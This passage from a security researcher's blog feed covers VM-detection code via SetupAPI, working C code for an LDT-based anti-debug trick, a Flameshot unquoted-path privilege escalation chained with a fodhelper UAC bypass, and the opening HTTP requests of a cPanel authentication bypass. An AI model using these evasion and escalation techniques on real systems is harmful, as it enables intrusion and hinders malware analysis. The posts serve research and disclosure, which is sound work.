heavily on SetupAPI to enumerate hardware, retrieve properties, install drivers and maintain the system’s hardware inventory.</p><p>Unlike WMI, which presents an abstract view of hardware, SetupAPI communicates directly with the Plug and Play Manager and the Configuration Manager. This makes it an excellent source of low-level hardware metadata.</p><p>The typical SetupAPI workflow begins by calling SetupDiGetClassDevs(), which creates a device information set containing the devices that match the requested criteria. The application then iterates through this collection using SetupDiEnumDeviceInfo(), allowing each Plug and Play device to be inspected individually. Once a device has been selected, SetupDiGetDevicePropertyW() can be used to retrieve detailed metadata associated with that device, including installation information, hardware location, driver details, and numerous other properties exposed through the DEVPROPKEY framework. Although these APIs were designed solely to support Windows Plug and Play management, they inadvertently provide a remarkably comprehensive view of the system&#39;s hardware composition, making them an excellent source of information for indirect environment fingerprinting.</p><h3>Introducing DEVPROPKEY</h3><p>Every Plug and Play device exposes dozens of properties identified by a <strong>DEVPROPKEY</strong>. These properties replace many legacy registry-based queries and provide structured metadata describing each device.</p><p>Some particularly useful properties include:</p><pre>#include &lt;devpkey.h&gt;<br><br>struct PropertyEntry<br>{<br>    const wchar_t* Name;<br>    const DEVPROPKEY* Key;<br>};<br><br>PropertyEntry DeviceProperties[] =<br>{<br>    {L&quot;FriendlyName&quot;,        &amp;DEVPKEY_Device_FriendlyName},<br>    {L&quot;Class&quot;,               &amp;DEVPKEY_Device_Class},<br>    {L&quot;ContainerId&quot;,         &amp;DEVPKEY_Device_ContainerId},<br>    {L&quot;LocationPaths&quot;,       &amp;DEVPKEY_Device_LocationPaths},<br>    {L&quot;BusReportedDevice&quot;,   &amp;DEVPKEY_Device_BusReportedDeviceDesc},<br>    {L&quot;DriverVersion&quot;,       &amp;DEVPKEY_Device_DriverVersion},<br>    {L&quot;DriverDate&quot;,          &amp;DEVPKEY_Device_DriverDate},<br>    {L&quot;InstallDate&quot;,         &amp;DEVPKEY_Device_InstallDate},<br>    {L&quot;EnumeratorName&quot;,      &amp;DEVPKEY_Device_EnumeratorName},<br>};</pre><p><strong>None of these properties were created with virtualization detection in mind</strong>. Their purpose is purely administrative, nevertheless, they expose valuable information regarding the overall hardware composition of the system.</p><h3>Hardware Topology as a Fingerprint</h3><p>Rather than searching for explicit virtualization artifacts, the Plug and Play topology itself can be used as a fingerprint of the underlying hardware. Physical systems naturally accumulate a rich and diverse collection of devices including wireless adapters, Bluetooth radios, cameras, biometric sensors, power management controllers, storage devices, and numerous OEM-specific ACPI components while virtual machines typically expose only the minimum hardware required to boot the operating system. This difference is structural rather than signature-based, making it considerably more resilient against environments that intentionally hide traditional virtualization artifacts.</p><pre>Physical System<br>PCI Root<br>├── Host Bridge<br>├── NVMe SSD<br>├── WiFi<br>├── Bluetooth<br>├── Webcam<br>├── Audio<br>├── Sensor Hub<br>├── PCI Bridges<br>└── Multiple ACPI Devices<br><br>Virtual Machine<br>PCI Root<br>├── Virtual VGA<br>├── Virtual IDE<br>├── Virtual Ethernet<br>├── USB Controller<br>└── ACPI Root</pre><p>This observation naturally shifts the detection model from binary checks to hardware profiling. Instead of determining whether a specific virtual device is present, the objective becomes measuring the overall complexity of the Plug and Play ecosystem. Metrics such as the total number of enumerated devices, the diversity of hardware classes, the depth of the PCI hierarchy, and the presence of OEM-specific components can be combined into a hardware richness score. Individually these features provide weak evidence, but together they form a significantly more reliable indicator of virtualized environments without relying on vendor-specific signatures or explicit anti-VM heuristics.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/376/1*qz7pdcqhZE9C4Zlmj73Tkg.png" /></figure><p>The following proof of concept simply enumerates every Plug and Play device currently installed.</p><pre>#include &lt;windows.h&gt;<br>#include &lt;setupapi.h&gt;<br>#include &lt;devpkey.h&gt;<br>#include &lt;iostream&gt;<br><br>#pragma comment(lib, &quot;Setupapi.lib&quot;)<br><br>int main()<br>{<br>    HDEVINFO hDevInfo = SetupDiGetClassDevs(<br>        nullptr,<br>        nullptr,<br>        nullptr,<br>        DIGCF_PRESENT | DIGCF_ALLCLASSES);<br><br>    if (hDevInfo == INVALID_HANDLE_VALUE)<br>        return 1;<br><br>    SP_DEVINFO_DATA deviceInfo{};<br>    deviceInfo.cbSize = sizeof(deviceInfo);<br><br>    DWORD totalDevices = 0;<br><br>    while (SetupDiEnumDeviceInfo(hDevInfo, totalDevices, &amp;deviceInfo))<br>    {<br>        totalDevices++;<br>    }<br><br>    SetupDiDestroyDeviceInfoList(hDevInfo);<br><br>    std::cout &lt;&lt; &quot;PnP Devices: &quot; &lt;&lt; totalDevices &lt;&lt; std::endl;<br><br>    if (totalDevices &lt; 90)<br>        std::cout &lt;&lt; &quot;[+] Environment exhibits low hardware complexity.&quot; &lt;&lt; std::endl;<br>    else<br>        std::cout &lt;&lt; &quot;[+] Environment exhibits characteristics of physical hardware.&quot; &lt;&lt; std::endl;<br>}</pre><p>Although intentionally simple, this program already demonstrates that the Plug and Play inventory itself carries useful information. A more sophisticated implementation would extract additional DEVPROPKEY values from every device, building a multidimensional hardware profile instead of relying solely on the total device count.</p><p><strong>Running on a Physical Environment:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hcGP7pODeO2pIeMsHbdkyA.gif" /></figure><p><strong>Running on a Virtualized Environment:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u_4NMmlYjMyDMhqvHlaqDw.gif" /></figure><h3>Building a Hardware Fingerprint</h3><p>Although the previous proof of concept only enumerates Plug and Play devices, the same workflow can be extended to collect multiple DEVPROPKEY attributes from every device. Instead of treating each property individually, the collected information can be normalized into a hardware fingerprint describing the overall characteristics of the system.</p><pre>struct DeviceFingerprint<br>{<br>    std::wstring Class;<br>    std::wstring Enumerator;<br>    std::wstring FriendlyName;<br>    std::wstring LocationPath;<br>    GUID ContainerId;<br>};<br><br>std::vector&lt;DeviceFingerprint&gt; Devices;</pre><p>During enumeration, each property is extracted and stored.</p><pre>DeviceFingerprint fp;<br><br>fp.Class         = GetDeviceString(hDevInfo, devInfo, DEVPKEY_Device_Class);<br>fp.Enumerator    = GetDeviceString(hDevInfo, devInfo, DEVPKEY_Device_EnumeratorName);<br>fp.FriendlyName  = GetDeviceString(hDevInfo, devInfo, DEVPKEY_Device_FriendlyName);<br>fp.LocationPath  = GetDeviceString(hDevInfo, devInfo, DEVPKEY_Device_LocationPaths);<br>fp.ContainerId   = GetDeviceGuid(hDevInfo, devInfo, DEVPKEY_Device_ContainerId);<br><br>Devices.push_back(std::move(fp));</pre><p>Once the entire Plug and Play inventory has been collected, higher-level characteristics can be derived from the raw data instead of relying on individual properties.</p><pre>FingerprintStats stats;<br><br>stats.TotalDevices      = Devices.size();<br>stats.UniqueClasses     = CountUniqueClasses(Devices);<br>stats.UniqueEnumerators = CountUniqueEnumerators(Devices);<br>stats.PCIDevices        = CountEnumerator(Devices, L&quot;PCI&quot;);<br>stats.ACPIDevices       = CountEnumerator(Devices, L&quot;ACPI&quot;);<br>stats.USBBuses          = CountEnumerator(Devices, L&quot;USB&quot;);<br>stats.RootContainers    = CountUniqueContainers(Devices);</pre><p>Rather than producing a binary “virtualized” or “physical” result, these metrics can be combined into a weighted hardware profile.</p><pre>double score = 0.0;<br><br>score += Normalize(stats.TotalDevices,      0,250) * 0.30;<br>score += Normalize(stats.UniqueClasses,     0, 40) * 0.20;<br>score += Normalize(stats.ACPIDevices,       0, 60) * 0.15;<br>score += Normalize(stats.PCIDevices,        0, 40) * 0.15;<br>score += Normalize(stats.RootContainers,    0,100) * 0.20;</pre><p>This approach avoids depending on any single virtualization artifact. Even if a sandbox spoofs device names or hides well-known vendor identifiers, reproducing the structural complexity of a modern Windows installation remains considerably more challenging.</p><h3>Future Research and Conclusion</h3><p>The Plug and Play subsystem exposes significantly more information than demonstrated in this proof of concept. Future work could investigate additional DEVPROPKEY attributes to derive structural metrics that are considerably harder to emulate than traditional anti-VM artifacts.</p><p>Potential research directions include:</p><ul><li>PCI topology depth</li><li>Average number of children per PCI bridge</li><li>ContainerID graph complexity</li><li>Hardware installation chronology</li><li>Driver publication timeline</li><li>Bus hierarchy consistency</li><li>Device relationship graphs</li><li>OEM-specific hardware distribution</li><li>Cross-validation with ACPI namespace objects</li><li>Correlation with ETW hardware providers</li></ul><p>An interesting direction would be to model the Plug and Play inventory as a graph, where devices represent vertices and parent-child relationships define the edges. Standard graph metrics such as node degree, clustering coefficient, graph diameter, and connected component analysis may reveal structural differences between physical and virtualized systems that are not immediately visible through simple device enumeration.</p><p>Ultimately, the objective is not to identify VMware, Hyper-V, or VirtualBox directly, but rather to evaluate whether the observed hardware ecosystem exhibits the complexity naturally expected from a genuine Windows installation. This shift from <strong>artifact detection</strong> to <strong>hardware topology analysis</strong> provides a more resilient foundation for future environment fingerprinting research and opens several avenues for further investigation into Windows-native hardware telemetry.</p><p>Github repo:</p><p><a href="https://github.com/debugactiveprocess/SetupAPI_Hardware_PoC">https://github.com/debugactiveprocess/SetupAPI_Hardware_PoC</a></p><p>Refs:</p><ul><li><a href="https://learn.microsoft.com/windows/win32/api/setupapi/nf-setupapi-setupdigetclassdevsw">SetupDiGetClassDevsW function (setupapi.h) - Win32 apps</a></li><li><a href="https://learn.microsoft.com/windows/win32/api/setupapi/nf-setupapi-setupdienumdeviceinfo">SetupDiEnumDeviceInfo function (setupapi.h) - Win32 apps</a></li><li><a href="https://learn.microsoft.com/windows/win32/api/setupapi/nf-setupapi-setupdigetdevicepropertyw">SetupDiGetDevicePropertyW function (setupapi.h) - Win32 apps</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=455df451e7f4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Abusing NtSetLdtEntries as an Anti-Debug Primitive on 32-bit Windows]]></title>
            <link>https://debugactiveprocess.medium.com/abusing-ntsetldtentries-as-an-anti-debug-primitive-on-32-bit-windows-d677798f3868?source=rss-e02d10b8090e------2</link>
            <guid isPermaLink="false">https://medium.com/p/d677798f3868</guid>
            <category><![CDATA[anti-debugging]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[Ialle Teixeira]]></dc:creator>
            <pubDate>Fri, 12 Jun 2026 12:27:22 GMT</pubDate>
            <atom:updated>2026-06-12T12:27:22.947Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f6FDsCd6IPm0fS3o-9NdEQ.png" /></figure><p>Modern anti-debug and anti-analysis techniques on Windows often revolve around API hook evasion, timing checks, or debugger detection via PEB.BeingDebugged. However, legacy x86 architecture features such as the Local Descriptor Table (LDT) offer an esoteric and highly effective way to disrupt user-mode debuggers and instrumentation tools.</p><p>This article explores the use of the undocumented NtSetLdtEntries routine exported by ntdll.dll to install a custom code segment, redirect execution through it, and complicate debugger tracing.</p><p><strong>Background: The Local Descriptor Table (LDT)</strong></p><p>On the x86 architecture, memory segmentation is controlled via descriptor tables:<br>- GDT (Global Descriptor Table): System-wide segments.<br>- LDT (Local Descriptor Table): Per-process segments, historically used by early OSes (e.g., OS/2, 16-bit Windows) to isolate address spaces.</p><p>Although 32-bit Windows uses a flat memory model (base=0, limit=4 GB) for CS/DS/ES/SS, the LDT remains functional. Each entry in the LDT is an 8-byte segment descriptor specifying:<br>- Base address (32-bit)<br>- Limit (20-bit with granularity)<br>- Type (code/data), DPL (privilege level), and attribute flags (present, 32-bit, granularity)</p><p>Because debuggers rely on linear/virtual addresses and assume standard segment semantics, altering the effective base of the code segment can cause disassemblers and tracers to resolve instructions to the wrong virtual addresses.</p><figure><img alt="http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FThread%2FNtSetInformationThread.html" src="https://cdn-images-1.medium.com/max/939/1*3fpJofsq11sOrk9OKQGGpg.png" /></figure><p><strong>NtSetLdtEntries API: </strong>While NtQueryInformationProcess / NtSetInformationProcess with ProcessLdtInformation is the documented-adjacent path, NtSetLdtEntries provides a direct, standalone system call to modify the LDT for the current process only.</p><pre>NTSTATUS NtSetLdtEntries(<br>    ULONG Selector,<br>    ULONG LdtLow,       // Bits 0-31 of the descriptor<br>    ULONG LdtHigh       // Bits 32-63 of the descriptor<br>);</pre><p>Internally, the descriptor is a standard x86 segment descriptor packed into two 32-bit dwords:</p><pre>31                           16 15                           0<br>+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+<br>|          Base 31:24           | G |B/D| 0 |AVL|  Limit 19:16  |  LdtHigh<br>|                               |   |   |   |   |               |<br>+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+<br>|          Base 23:16           |   P |  DPL  | S |    Type     |<br>|                               |     |       |   |             |<br>+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+<br><br>31                           16 15                           0<br>+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+<br>|           Base 15:0           |          Limit 15:0           |  LdtLow<br>+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+</pre><p>For our purposes we construct an execute-only, present, ring-3, 32-bit code segment with:<br>- Granularity bit = 1 (4 KB pages)<br>- Default/Big bit = 1 (32-bit operands)<br>- Type = 0x8 (execute-only code)<br>- DPL = 3<br>- Present = 1</p><p><strong>Anti-Debug Principle</strong></p><ol><li>Install a custom CS: Call NtSetLdtEntries to create an LDT selector whose base is offset from the real image base.</li><li>Far-jump into the selector: Use a jmp far (opcode 0xEA) to reload CS with the new selector.</li><li>Debugger skew: From this point on, the CPU fetches instructions relative to the new segment base. A debugger that does not rebase its disassembly view will show incorrect addresses, corrupt instructions, and broken breakpoints.</li><li>Further obfuscation: Because many dynamic analysis engines (including some sandboxes) run on x64 hosts with WoW64, direct LDT manipulation may be stubbed, emulated incorrectly, or outright fail — acting as a lightweight sandbox/VM fingerprint.</li></ol><p>Show me the c0de:</p><pre>#include &lt;windows.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;stdint.h&gt;<br><br>/* Undocumented ntdll prototype (stdcall, x86) */<br>typedef NTSTATUS (WINAPI *pNtSetLdtEntries)(<br>    ULONG Selector,<br>    ULONG LdtLow,<br>    ULONG LdtHigh<br>);<br><br>/* Selector: bit 2 (TI) must be 1 to indicate LDT.  RPL=3 is added by CPU. */<br>#define CUSTOM_SEL  0x777<br><br>/* Descriptor flags constant matching the reference assembly.<br> *  0xC1F800 encodes:<br> *   G=1 D/B=1 0 AVL=0 | Limit[19:16]=0x1 | P=1 DPL=3 S=1 Type=8 | Base[23:16]=0<br> * Combined with Base fields at runtime. */<br>#define DESC_FLAGS_CONST  0xC1F800<br><br>int main(void)<br>{<br>    HMODULE hNtdll;<br>    pNtSetLdtEntries NtSetLdtEntries;<br>    ULONG imageBase;<br>    ULONG ldtLow, ldtHigh;<br>    NTSTATUS status;<br>    unsigned short cs_val;<br><br>    hNtdll = GetModuleHandleA(&quot;ntdll.dll&quot;);<br>    if (!hNtdll) {<br>        fprintf(stderr, &quot;[-] Failed to get ntdll.dll handle\n&quot;);<br>        return 1;<br>    }<br><br>    NtSetLdtEntries = (pNtSetLdtEntries)GetProcAddress(hNtdll, &quot;NtSetLdtEntries&quot;);<br>    if (!NtSetLdtEntries) {<br>        fprintf(stderr, &quot;[-] NtSetLdtEntries not found (x64/WoW64?)\n&quot;);<br>        return 1;<br>    }<br><br>    imageBase = (ULONG)GetModuleHandleA(NULL);<br>    printf(&quot;[+] ImageBase = 0x%08lX\n&quot;, imageBase);<br><br>    /* Build segment descriptor.<br>     * Low  dword:  Base[15:0]  &lt;&lt; 16 | Limit[15:0]   (base is 64K aligned =&gt; 0)<br>     * High dword:  Base[31:24] &lt;&lt; 24 | flags | Base[23:16]<br>     */<br>    ldtLow  = (imageBase &lt;&lt; 16) | 0xFFFF;<br>    ldtHigh = (imageBase &amp; 0xFF000000)<br>            + DESC_FLAGS_CONST<br>            + ((imageBase &gt;&gt; 16) &amp; 0xFF);<br><br>    printf(&quot;[+] LdtLow  = 0x%08lX\n&quot;, ldtLow);<br>    printf(&quot;[+] LdtHigh = 0x%08lX\n&quot;, ldtHigh);<br><br>    status = NtSetLdtEntries(CUSTOM_SEL, ldtLow, ldtHigh);<br>    if (status != 0) {<br>        fprintf(stderr, &quot;[-] NtSetLdtEntries failed: NTSTATUS 0x%08lX\n&quot;, status);<br>        return 1;<br>    }<br>    printf(&quot;[+] Selector 0x%03X installed in LDT\n&quot;, CUSTOM_SEL);<br><br>    /* ---- Far jump via RETF (LRET) ----<br>     *<br>     * We push the target RVA (label - imageBase) and the selector,<br>     * then execute a far return.  The CPU pops EIP, then CS.<br>     *<br>     * After the transition, linear addresses are computed as:<br>     *     linear = segment_base + EIP<br>     * Because segment_base == imageBase, EIP is effectively the RVA.<br>     * A debugger that does not re-base its disassembly will be lost.<br>     */<br>    printf(&quot;[+] Performing far jump to 0x%03X:%08lX (RVA)\n&quot;,<br>           CUSTOM_SEL, 0ul /* placeholder, real value computed in asm */);<br><br>#ifdef _MSC_VER<br>    __asm {<br>        mov eax, offset after_jump<br>        sub eax, imageBase<br>        push CUSTOM_SEL<br>        push eax<br>        retf<br>    }<br>#else<br>    /* GCC / MinGW inline assembly */<br>    __asm__ __volatile__ (<br>        &quot;movl $1f, %%eax\n\t&quot;<br>        &quot;subl %[base], %%eax\n\t&quot;<br>        &quot;pushw %[sel]\n\t&quot;<br>        &quot;pushl %%eax\n\t&quot;<br>        &quot;lret\n\t&quot;<br>        &quot;1:\n\t&quot;<br>        :<br>        : [base] &quot;r&quot; (imageBase), [sel] &quot;i&quot; (CUSTOM_SEL)<br>        : &quot;eax&quot;, &quot;memory&quot;<br>    );<br>#endif<br><br>after_jump:<br>    printf(&quot;[+] Landed in custom segment — debugger likely desynchronized.\n&quot;);<br><br>#ifdef _MSC_VER<br>    __asm mov cs_val, cs<br>#else<br>    __asm__ __volatile__ (&quot;movw %%cs, %0&quot; : &quot;=r&quot; (cs_val));<br>#endif<br><br>    printf(&quot;[+] Current CS = 0x%04X\n&quot;, cs_val);<br><br>    if (cs_val == CUSTOM_SEL) {<br>        printf(&quot;[+] SUCCESS: Code is executing through LDT selector.\n&quot;);<br>    } else if (cs_val == 0x1B) {<br>        printf(&quot;[!] CS is still 0x1B (flat ring-3 segment). WoW64 or emulation?\n&quot;);<br>    } else {<br>        printf(&quot;[!] Unexpected CS value.\n&quot;);<br>    }<br><br>    return 0;<br>}</pre><ul><li>WoW64 / x64: NtSetLdtEntries is not supported on 64-bit Windows. On WoW64 the system call may return STATUS_NOT_IMPLEMENTED.<br>- PatchGuard: Kernel Patch Protection does not guard LDT entries, but the kernel must still validate the request.<br>- Hypervisors: Some hypervisors intercept LDT access; unusual behavior may flag the process.<br>- Mitigations: Modern EDR solutions may monitor ntdll syscall patterns or flag far jumps as anomalous control-flow events.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dg394situnlw1Kt0DrzpGg.png" /></figure><p>NtSetLdtEntries is a vintage but elegant anti-debug vector on 32-bit Windows. By redefining the code segment base via the LDT, a program can force debuggers into a skewed address space, turning straightforward tracing into a frustrating exercise in manual segment arithmetic. While its applicability is limited to x86 targets, it remains a valuable addition to any multi-layered anti-analysis toolkit.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d677798f3868" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From IDA to Admin: How I Found a Privilege Escalation Chain in Flameshot]]></title>
            <link>https://debugactiveprocess.medium.com/from-ida-to-admin-how-i-found-a-privilege-escalation-chain-in-flameshot-56bf6a01e36a?source=rss-e02d10b8090e------2</link>
            <guid isPermaLink="false">https://medium.com/p/56bf6a01e36a</guid>
            <category><![CDATA[flamesh]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[Ialle Teixeira]]></dc:creator>
            <pubDate>Sat, 02 May 2026 21:52:42 GMT</pubDate>
            <atom:updated>2026-05-02T21:52:42.886Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ggPhDIJ40-6j4yUg.jpg" /></figure><p><em>A walkthrough of reverse engineering a popular screenshot tool, finding an unquoted path vulnerability, and chaining it into a silent UAC bypass.</em></p><p>I didn’t have the binary they were looking at in IDA, but I had something better: the source code. Flameshot is open-source, hosted at github.com/flameshot-org/flameshot. When you have source, reverse engineering becomes static code analysis faster, more accurate, and you don&#39;t have to fight obfuscation. So I cloned the repo and started hunting.</p><h3>Understanding the Attack Surface</h3><p>Flameshot is a cross-platform screenshot utility written in C++ using Qt. My focus was immediately on Windows-specific code paths. Cross-platform apps often have vulnerable platform-specific branches because they get less scrutiny from the broader developer community.</p><p>I started by looking for classic Windows privilege escalation patterns:</p><ul><li>Command execution APIs (QProcess, system(), ShellExecute, CreateProcess)</li><li>Registry writes (especially autostart locations)</li><li>DLL loading behaviors</li><li>File path construction (path traversal, unsafe concatenation)</li><li>Inter-process communication (shared memory, pipes, named objects)</li></ul><pre>grep -rn &quot;QProcess\|ShellExecute\|CreateProcess\|RegSet\|HKEY&quot; \<br>    --include=&quot;*.cpp&quot; --include=&quot;*.h&quot; ./src/</pre><p>Nothing jumped out as an obvious remote code execution vector. But then I hit the configuration handler. In src/utils/confighandler.cpp, I found the Windows autostart logic:</p><pre>#elif defined(Q_OS_WIN)<br>    QSettings bootUpSettings(<br>      &quot;HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run&quot;,<br>      QSettings::NativeFormat);<br>    if (start) {<br>        QString app_path =<br>          QDir::toNativeSeparators(QCoreApplication::applicationFilePath());<br>        bootUpSettings.setValue(&quot;Flameshot&quot;, app_path);</pre><p>Wait. Look at that last line. The app_path is written raw into the registry. No quotes. No escaping. If Flameshot is installed to the default location, app_path becomes: C:\Program Files\Flameshot\bin\flameshot.exe</p><p>Windows handles unquoted paths in the Run registry by trying each space-delimited prefix as a potential executable:</p><ol><li>C:\Program.exe</li><li>C:\Program Files\Flameshot.exe</li><li>C:\Program Files\Flameshot\bin\flameshot.exe</li></ol><p>This is CWE-428 — Unquoted Search Path. It’s an old bug class, but it still shows up in modern software because developers assume QSettings will handle escaping for them. It doesn&#39;t. I immediately checked if this was a known CVE. It wasn’t.</p><h3>Chaining to Full Admin — The UAC Bypass</h3><p>The user account on my test machine was a standard user, but it was in the Administrators group. On Windows, this means:</p><ul><li>The token contains BUILTIN\Administrators</li><li>But the group is disabled (DENIED-ONLY) when running at Medium Integrity</li><li>UAC prevents silent elevation</li></ul><p>I needed a way to get from Medium Integrity to High Integrity without a prompt. Enter fodhelper.exe. that is a trusted Windows binary with an autoElevate=true manifest. When it runs, Windows elevates it automatically — no UAC dialog. The trick is that fodhelper.exe reads its launch command from a registry key in HKCU: HKCU\Software\Classes\ms-settings\shell\open\command</p><h3>The Exploitation</h3><p>Deployment: <a href="https://github.com/debugactiveprocess/flameshot-unquoted-path-privesc">https://github.com/debugactiveprocess/flameshot-unquoted-path-privesc</a></p><p>That’s it. The attacker doesn’t need admin rights to drop this file. They just need write access to C:\ (which many corporate environments allow for &quot;Power Users&quot; or via misconfigured permissions). The victim logs out and logs back in. Windows processes the Run registry entries, hits the unquoted Flameshot path, tries C:\Program.exe first, and executes our payload. What the payload sees on first execution:</p><pre>[+] Current User: demo<br>[+] TokenIsElevated at entry: FALSE<br>[+] Integrity Level RID: 8192 (Medium)<br>[*] Not elevated. Performing fodhelper UAC bypass...</pre><p>At this point, the payload is running with a filtered token. The BUILTIN\Administrators group is present but marked DENIED-ONLY (attribute 0x00000010). This is standard UAC behavior. What happens after the bypass:</p><p>fodhelper.exe auto-elevates, reads our hijacked registry key, and spawns cmd.exe. The new process has:</p><ul><li>Integrity Level: High (S-1-16-12288)</li><li>BUILTIN\Administradores: Enabled (attribute 0x00000007)</li><li>TokenIsElevated: TRUE</li></ul><p>No UAC prompt. No user interaction. Just a cmd.exe window titled &quot;PWNED&quot; with full admin rights. The whoami /groups output from the elevated shell:</p><pre>Nome do grupo                                                  Tipo                     SID          Atributos<br>============================================================== ======================== ============ ===========================================================================<br>BUILTIN\Administradores                                        Alias                    S-1-xx-xx-xxx Grupo obrigatório, Ativado por padrão, Grupo ativado, Proprietário do grupo<br>Rótulo Obrigatório\Nível Obrigatório Alto                      Rótulo                   S-1-xx-xxxxx</pre><h3>The Root Cause Analysis</h3><p>Why does this vulnerability exist? Three factors:</p><ol><li>Qt’s QSettings doesn’t quote paths. It’s a generic configuration API. It has no concept of Windows registry quoting requirements for executable paths. The developer must handle this manually.</li><li>Cross-platform blind spots. The confighandler.cpp file handles Windows, macOS, and Linux configuration in one class. The Windows registry branch likely received less testing than the Linux DConf or macOS plist paths`</li><li>Developer assumptions. The code uses QDir::toNativeSeparators() to convert slashes to backslashes, which suggests the developer <em>was</em> thinking about Windows correctness. But they stopped at path separators and didn&#39;t consider shell tokenization rules</li></ol><p>The fix is literally one line:</p><pre>bootUpSettings.setValue(&quot;Flameshot&quot;, &quot;\&quot;&quot; + app_path + &quot;\&quot;&quot;);</pre><h3>Lessons Learned</h3><ul><li>Old bugs never die. Unquoted path vulnerabilities have been known since the Windows XP era. They still exist in modern, actively maintained software because cross-platform developers don’t always understand Windows-specific shell behaviors.</li><li>Chain everything. The unquoted path alone gives you Medium Integrity execution. That’s boring. Combine it with a UAC bypass and you have a silent, persistent admin shell.</li><li>Source code &gt; disassembly. Having the source saved me hours of IDA Pro analysis. I could grep for vulnerable patterns in seconds rather than tracing control flow for days.</li></ul><h3>Conclusion</h3><p>What started as a casual “check this binary in IDA” request turned into a full privilege escalation chain: from a missing quote in a Qt configuration file, to persistent logon execution, to a silent UAC bypass, to a full administrator command prompt.</p><p>The total time from cloning the repo to a working admin shell: under 4 hours. That’s the power of understanding both code and platform behavior. Flameshot is a solid, well-loved tool. But like all software that touches the operating system’s configuration, it needs platform-specific scrutiny. A missing pair of quotation marks is all it takes to go from “screenshot utility” to “persistent backdoor.”</p><p>Stay curious. Read the source.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=56bf6a01e36a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2026–41940: Authentication Bypass and Root-Level Impact]]></title>
            <link>https://debugactiveprocess.medium.com/cve-2026-41940-authentication-bypass-and-root-level-impact-fa5d5d45d3a2?source=rss-e02d10b8090e------2</link>
            <guid isPermaLink="false">https://medium.com/p/fa5d5d45d3a2</guid>
            <category><![CDATA[auth-bypass]]></category>
            <category><![CDATA[cve-2026-41940]]></category>
            <category><![CDATA[cpanel]]></category>
            <category><![CDATA[technical-analysis]]></category>
            <category><![CDATA[whm]]></category>
            <dc:creator><![CDATA[Ialle Teixeira]]></dc:creator>
            <pubDate>Sat, 02 May 2026 12:01:23 GMT</pubDate>
            <atom:updated>2026-05-02T12:08:19.588Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/612/0*di9uJyWYedCsSGIQ" /></figure><h3>TL;DR</h3><p>A chain of two weaknesses in cPanel &amp; WHM, a <strong>CRLF injection in session cache serialization</strong> and a <strong>logic flaw in password re-validation </strong>allows an unauthenticated attacker to forge an authenticated root session in under 30 seconds. No valid credentials, no MFA token, no brute-force required. Just a few crafted HTTP requests and you are root on a server that manages, depending on who you ask, somewhere north of <strong>70 million domains</strong>.</p><ul><li><strong>CVE ID:</strong> CVE-2026–41940</li><li><strong>Affected Product:</strong> cPanel &amp; WHM</li><li><strong>CVSS (estimated):</strong> 10.0 (Critical)</li><li><strong>Exploit Tool:</strong> <a href="https://github.com/debugactiveprocess/cPanel-WHM-AuthBypass-Session-Checker">github.com/debugactiveprocess/cPanel-WHM-AuthBypass-Session-Checker</a></li><li><strong>Research Credit:</strong> <a href="https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/">watchTowr Labs</a></li></ul><p>The bug is a <strong>session cache poisoning</strong> vulnerability that escalates into a full authentication bypass. It works in four stages:</p><ol><li><strong>Mint a pre-authentication session</strong> by sending invalid credentials.</li><li><strong>Inject malicious session properties</strong> via a CRLF payload hidden inside a Basic Authorization header.</li><li><strong>Force a cache rewrite</strong> by triggering the do_token_denied error handler.</li><li><strong>Access any WHM endpoint</strong> as root because password re-validation is skipped when successful_internal_auth_with_timestamp is present in the session.</li></ol><p>The root cause sits in how cpsrvd (cPanel’s core daemon) handles session storage and how docheckpass_whostmgrd re-validates credentials on every request.</p><h3>Stage 1: Minting a Pre-Auth Session</h3><p>Everything starts with a failed login. When you POST invalid credentials to /login/?login_only=1, cPanel does <strong>not</strong> reject you empty-handed. Instead, it issues a whostmgrsession cookie and stores a session object on disk in /var/cpanel/session_cache/.</p><pre>POST /login/?login_only=1 HTTP/1.1<br>Host: target:2087<br>Content-Type: application/x-www-form-urlencoded</pre><pre>user=root&amp;pass=wrong</pre><p>The response contains:</p><pre>Set-Cookie: whostmgrsession=:QSJN_sFdKZtCi2o_</pre><p>This session is “pre-authenticated.” It exists, but it does not yet have hasroot=1 or any meaningful privileges. The session cache file looks something like this:</p><pre>{<br>  &quot;user&quot;:&quot;root&quot;,<br>  &quot;pass&quot;:&quot;x&quot;,<br>  &quot;needs_auth&quot;:&quot;1&quot;,<br>  &quot;hasroot&quot;:&quot;0&quot;,<br>  &quot;tfa_verified&quot;:&quot;0&quot;,<br>  ...<br>}</pre><p>Notice &quot;needs_auth&quot;:&quot;1&quot;. That is the 